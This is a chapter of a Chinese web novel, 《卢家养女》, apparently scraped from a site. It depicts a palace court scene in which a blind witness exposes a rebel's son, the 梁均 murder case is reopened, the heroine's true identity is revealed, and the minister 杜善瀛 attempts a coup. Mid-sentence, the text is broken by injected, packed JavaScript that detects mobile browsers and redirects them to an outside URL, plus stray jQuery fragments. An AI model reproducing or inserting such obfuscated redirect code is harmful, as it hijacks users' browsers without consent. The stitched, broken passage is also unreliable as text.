144. 第144章

作品:《卢家养女

    太后扫了满堂一眼,道:“反正都这样了,也不差这一个人证了是吧,诸位卿家?准!”


    不多时,一个鬼气森森的嶙峋人影,出现在了大殿门口,像是地狱爬回的鬼影。


    众人惊了一瞬后,脸上无不迷糊,猜测着此人会是何身份。


    杜善瀛也看了过去,审视的目光从上到下打量着来人。


    这时,那人抬手指向殿内,沙哑着嗓子道:“害死梁均的,就是他!”


    声音不算大,但满朝皆惊。


    史兆麟看向了杜善瀛,第一个喊了起来:“哪里来的疯癫老儿!乱指什么,你认得谁是谁吗!”


    杜善瀛却没看他,低声斥杜君道:“不是让你死守京城,怎么还是让这些东西混进来了?”


    杜君道:“没人能进来啊!”


    京城内外的确守得严,但老馗不是作为人进来的,而是藏在棺材底的夹层入的城——正是义庄常用之法。


    “父亲,此人到底是谁?”杜君问。


    杜善瀛迷茫地摇了摇头,但是心中分明有一种不好的预感,心不自觉沉了些下去。


    “不是大人你,怕什么?”老馗转向史兆麟笑道,“小的……不过是得开个玩笑。没见过这些执掌天下的大人物,想看看是不是真如圣人所言,那般胸有惊雷而面如平湖。”


    他站在门口,打量了一下金殿,笑叹道:“小老儿还以为,这辈子都没有站上朝堂的一日。没想到,临了,还能借故人之光,看看这大殿长什么样子,便是死了躺在棺材里,都能伸开腿儿了。”


    太后:“你是何人?”


    老馗跨过高高的门槛,慢悠悠地走进了大殿,应声下拜,道:“草民钟敬,故神武将军帐下书吏,拜见皇上、太后!”


    “神武将军!”


    此话一出,众人尽皆震惊,当即交头接耳起来,连太后的面色也动了动。杜善瀛面上不显,缩在袖中的手却拽成了拳头,一转头,又遇到了田一甫探询的目光。


    神武将军吴仁裕,在当年王稚之乱中,堪称救世之臣。


    其时,诸将都只顾自己的属地,不是躲着流民军,拒不出兵;便是将其送瘟神一样,赶出自己属地,任其祸害别人就行;而那些看起来愿意出兵的,也是剿得差不多就去领功受赏,却不肯一举歼灭,只想留着一鱼几吃。


    吴仁裕却早在接手瞿城城防之时,便开始备战;待王稚劫掠京城之后,经过瞿城的时候,主动出击,直扑乱军,将王稚绊在了瞿城一年多。


    要不是他给大历争取了这段时间,给朝廷重整旗鼓,围歼剿灭王稚提供了时机,还不知要继续乱上多少年。


    可惜,他自己和瞿城却成了炮灰,在灭贼前夕城破身死,最后虽追了个神武将军的谥号,却并没有得到丝毫功勋富贵。


    提及此人,大庆朝野无不感佩。


    太后震惊过后,语气温和不少,问道:“你今日上殿,有何话要说?”


    老馗道:“草民今日前来,有两件事,其一,是说明梁均大人之死;其二,便是在这朝堂上……寻一位故人。这两件事其实也是一件事——梁均大人当年便是为调查草民这位故人的真实身份,才阖家被害。”


    老馗看着枯瘦,说话却铿锵有力,掷地有声,条理明晰,的确不是看起来的潦倒模样。


    太后:“到底怎么回事,你且说说。”


    老馗道:“草民年轻之时,久试不第,后经人引荐,成了将军的幕僚。很多人都知道,将军与王稚对战期间,俘获了其幼子王晃。”


    堂下诸人相互递着眼色,就要站出来驳斥,太后猛地一拍凤座,怒喝道:“大胆!在朝堂之上,竟敢提那乱贼之名!”


    老馗:“太后,草民今日不提,这朝堂乃至天下,才要为之所乱!”


    这话声震肺腑,那些跃跃欲试的人也缩了回去。太后似是无奈,没再阻止,老馗便继续说了下去。


    “这王晃是个人质,将军将其留在了帐内,礼遇有加,并命草民看管。我那时看那小子智勇双全,言谈投契,颇为欣赏。后来瞿城城破,王稚军也遭大军围剿,四处逃窜,于是,阴差阳错地,我们二人便一同流落。”


    “我想着,众将无不各自为政,贪功逐利。王稚乱党已然溃散,这王晃也没有人质的作用了,且诓带他入京,将其交给朝廷才是。不想,入京路上遇到一位故人。那位故人颇看重欣赏这王晃,不知其身份,想收其为养子。”


    老馗又悔又愧,叹道,“也怪我心软,初识之时便听这王晃痛陈流民军过失,不愿与之为伍,便信以为真。我想他年纪尚幼,父兄举事未必有他之责,最终心软,并未揭破其身份,玉成其事。但我仍然放心不下,于是留在府上成为门客,实为观察。可我还是没能防到他与逆党余孽再度接头,图谋不轨,连自己也差点丢了性命,侥幸活下来,躲藏至今。”


    太后惊道:“你要在朝堂上寻的这位故人,便是……”


    “没错!”老馗道,“便是逆党王稚之子,王晃。”


    朝堂上当即喧嚣一片,无不惊叹,难以置信,“这王晃……就算活着,怎会在朝堂之上?!”


    老馗并未停下,铿锵道,“而粱均梁大人,便是查这王晃身份,才被害!”


    想到梁家满门性命,老馗沉重地一叹息。耳边满朝哗然,他一动未动,似乎仍沉浸在过去,又似乎是在等待他这话激起的千层波浪荡开去,细听回响,从中找着他想寻的东西。


    比起这些朝臣,这个身影单薄的老者,倒显得更处变不惊,佝偻着的背,倒比他们都挺拔昂然。


    ***


    太后:“那你可找到那故人?”


    议论声渐渐低了下来,老馗抬起低垂的眼睛,扫向了这堂上诸人。


    众人见他的目光一扫过来,身子一僵,心里没鬼的也本能想缩,生怕指向自己。


    有人想起来道,“他进门就说杜大人,难道……就是杜大人?”


    可老馗在穿着官服的人堆里,来回扫了一遍,最后也没锁定人。


    这时,有眼尖的发现了不对,“等等,他的眼睛……”


    众人去看,这才发现老馗那耷拉的眼皮之下,双目浑浊,还呈淡淡的乳白色。


    “这……他眼中有白翳,”不知谁惊道。


    有略通医道的细细一看,随即松了一口气,“就他这程度,根本就看不清人了!”


    朝堂上原本紧张起来的气氛,肉眼可见地松了下去。


    田一甫冷冷一笑道:“这位老者许是看不清了,但还有嘴啊!”


    此言一出,刚松下去的那口气顿时又都提了起来。


    “那也不能胡乱说吧。”孙秉立刻道,“口说无凭!随便拉一个瞎眼老头出来,就说什么梁大人案,什么乱党余孽,这分明是卢家的诡计!”


    众人有应和,也有疑虑,一时争论不已。


    而带老馗进来,站在朝臣外围的周冶,横跨一步,站了出来。堂上认得他的人并不多,不由都露出了疑惑。


    “如此大事,怎可口说无凭!”


    周冶往前走到朝堂前部,下拜道:“下官绥陵县令周冶,特带人证、物证上殿。”


    他看了孟珂一眼,才呈上一个锦盒,恭声道,“梁均梁大人当年乃奉先帝密旨查案。梁大人虽身死殉国,却并不辱命,留下的密旨和证据在此,请皇上与太后御览。”


    才平息了下去的朝堂,顷刻又震荡了起来,没人再去注意那老者,都看向了周冶手中锦盒。


    太后一个眼神,贴身太监忙将证据拿了上去。


    周冶继续道:“梁大人当年称病致仕,暗中调查,却被杜党发现,买通了身边人,被其下毒在先,灭口在后。梁家为天下安,几乎满门皆灭,还望皇上和太后,查明真相,为梁家做主!”


    太后就着小皇帝的手,看过密旨,怒得抓皱了密旨,颤声道:“如此忠臣竟为乱党所害!此事必须严查严办!”


    白御史、陈万霆和稀稀落落几个朝臣,随即站了出来,和周冶一起,喊道:“皇上英明,太后英明!事关重大,必须查明!”


    周珩在儿子跨进殿的时候就无奈地叹了口气,静立在朝臣中,此刻也跨步站了出来,高呼:“皇上英明,太后英明!”


    他一站出,对朝堂上部分中立,乃至骑墙的人都是一颗定心丸,他的门生故旧,乃至很多正直的朝臣都跟着高呼道,“皇上英明,太后英明!”


    眼看着站出去的人越来越多,连一向骑墙派的田一甫也站了出来。一些原本还在犹豫的人,眼看着周围的人越来越少,再不说就成了杜党,于是也都拜了下去。


    杜善瀛仍昂然站着,史兆麟却越来越站不住了。


    周冶看了看身后的人,又看向孟珂,目中在说,“你看吧,我们可以的。”


    他收回目光,继续道:“当初,乱党余孽害死梁大人在先,如今又要害梁家遗孤在后,目标看似在梁家,实则意在江山社稷!其心可诛!绝不可放过!”


    “遗孤?”太后和众人都疑惑地看向周冶。


    “没错!”周冶看向了孟珂,朗声道,“大人们口中的祸国妖女,卢府小姐孟珂,正是梁大人的独女,梁府大小姐梁婉章!”


    此言一出,满朝目光都看向了那个上朝之后似乎只默默跪在那里的女子。而那些认识,乃至熟知梁均的人,也无不重新去看她。连田一甫都不由多看了她一会儿,似乎想从她脸上看出些什么来。


    倒是孙秉看着孟珂的眼神有些复杂,后悔如何走漏了这个秘密,恨恨地看向了地上的霍茹蕙。


    太后看向孟珂,顿了半晌,才道:“此话可当真?你竟是忠臣遗孤?”


    孟珂道:“臣女正是梁均独女,梁婉章。”


    ***


    周冶看了看霍茹蕙,又看向了孟珂,道:“霍家强/奸/幼/女案、梁家灭门案,两案的相关证人证据,下官一并带了来,谁是霍茹蕙,谁是梁婉章,谁是罪妇,谁是忠臣遗孤,自有分晓。”


    堂上议论起来,“原来并非这孟小姐栽赃霍茹蕙,而是霍茹


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17162014|193939||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    蕙顶了她的身份,反受人指使而指鹿为马!”


    今日的朝堂就像一锅沸水,一会儿一沸。


    太后在这满堂沸沸中看向了孟珂,那夜提出的三个要求,她倒是无一例外,全都做到了。


    今日踏进这大殿之前,她心底其实也是没底的,没想到能成此刻之势。可越是到了这个时刻,太后越是不敢轻敌放松。


    她看了杜善瀛一眼,又缓了缓语气,看着陈情的周冶,沉静地道:“今日,哀家本只是路过,想听听闲话,解解闷,不想竟听出了这么几件惊世骇俗之事。到底是编排,还是真实,需得查证再说。哀家和皇帝,绝不会偏听偏信你们任何一方。”


    她又看向堂上的辅政几大臣和太傅,说道,“依哀家看,这霍、梁两家案子,便交由大理寺、御史台共同查证,由白御史主审。周冶大人原是两案主审,就从旁协理。”


    说着,看向了白仲孺,“白大人看可好?”


    白仲孺道:“老臣接旨!定不让一人蒙冤,也不让一犯脱罪。”


    “如此甚好!”太后满意道,目光扫到杜善瀛身上,又犯了愁,“这钟敬称,梁大人是为杜大人所害,这卷进霍、梁两家案子的史、孙二位大人,又都与杜大人脱不了干系。杜大人如今被多方指证,不查不可还你清白。诸位卿家可有高论?”


    堂下,人人埋下头去,生怕被点到说话,又忍不住去偷看周围之人,肚子里都飞快打起了算盘。


    杜党众人此刻不由想,原本是可以扳倒卢翰,联合田一甫,挟天子以令诸侯的大好局面,谁也舍不得错过那拥立之功。可如今,杜善瀛手下的史兆麟和孙秉,都被指控了谋害梁均之罪,这不等于指着鼻子说,他杜善瀛就是王稚余孽了吗?


    那王稚之乱,虽是流民起义,可所过之处寸草不生,更传出抓人做军粮的流言,整整祸乱了天下十年,为天下所唾弃。王稚余孽不得人心,与之为伍,哪有前程可奔?如今,这艘大船眼看要沉,跳船还来不及呢,此刻若站出来替他说话,就是众目睽睽之下死守沉船,要洗都没法洗了。


    于是,杜党虽众,此刻却没人敢轻易站出来说话,倒是有人悄悄嘀咕起来道,“京中最近流言盛传,夸杜忠将军有乃祖遗风,我等还奇道,这杜将军祖父乃文臣!原来,是此祖非彼祖。”


    周冶看朝堂上没人敢开口,冷笑了笑,又高声道:“杜大人乃肱股之臣,于国朝有大功,清名不容有污,还是该好好查查,以还杜大人清白,堵天下幽幽之众口!此事干系重大,还是要有诸位辅政大臣来处理方才妥当。”


    太后点点头,边想边道,“白御史、田相、金大将军,那你们就一同议议?不若,请周太傅也从旁协办。”


    白御史自不用说,金大将军向来不多言,田相是个惯会见风使舵的,自然都应承下来。众人都去看周珩。


    兄弟尚可割席,父子怎么也脱不了干系。从周冶这一出场,就已经将周家拉下水了。周珩早知道自己只得顺水推舟,没犹豫就站出来应了。


    太后又小小地松了一口气,看向了孟珂。


    但孟珂心中的疑惑更盛了。杜善瀛虽然仍旧死撑,但她心下隐隐觉得有些不对,杜党虽利尽而散,但这点点声浪,实在还是太弱了些。若他经营党羽多年,只得如此,那实在担不起这位子了。到底是哪里不对?她一时也说不上。


    ***


    朝堂稍稍静下去一些,太后又道:“这另一桩大案,王稚余孽案却要如何是好?此事虽荒诞,却也不可不查。宁可信其有,不可信其无。”


    不等众人反应,忙又补了一句道,“众卿不必惊慌,相信你们同我一样,也是今日才得闻此等惊人之事。哀家今日在此当着众卿家承诺,只查余孽,不追他责;与其交往者,不知者自然不罪。”


    众臣心下稍安,齐声谢恩:“臣等着实不知,谢太后宽宏!”


    尤其是一些杜党中人,心中已然倒戈,可惧怕杜党之势,还是不敢动作。如今太后给了台阶,忙不迭地都下了。


    见火候差不多了,太后这才对杜善瀛道:“便请杜尚书,先到大理寺歇几天,免得外间说我们走过场?”


    此言一出,杜党竟只有稀稀落落数人站出来说话,已然不成声势。


    见杜善瀛稳稳站着,仍不动如山,太后提高了声音,道:“杜尚书,请吧!”


    太后发了话,大理寺卿不得不硬着头皮上前,低声对杜善瀛道:“杜尚书,还请不要为难下官!”


    僵持之下,太后一挥袖,禁军便从殿外涌入,将杜善瀛围了起来。


    杜善瀛冷哼一声道:“我看谁敢动我!”


    众人还未说话,便听殿外传来一声清亮的拔剑之声,一个披甲执锐的将军,带着人马冲进大殿来,将禁军层层围了。此人正是杜善瀛夫人的侄子郭保,曾统领禁军的外军三年。


    “谁敢动杜尚书!”


    杜善瀛这才抬起眼来,看向太后,笑道:“若不是为了等着控制宫禁,老夫能容得你们在这大殿之上,胡闹这么久?”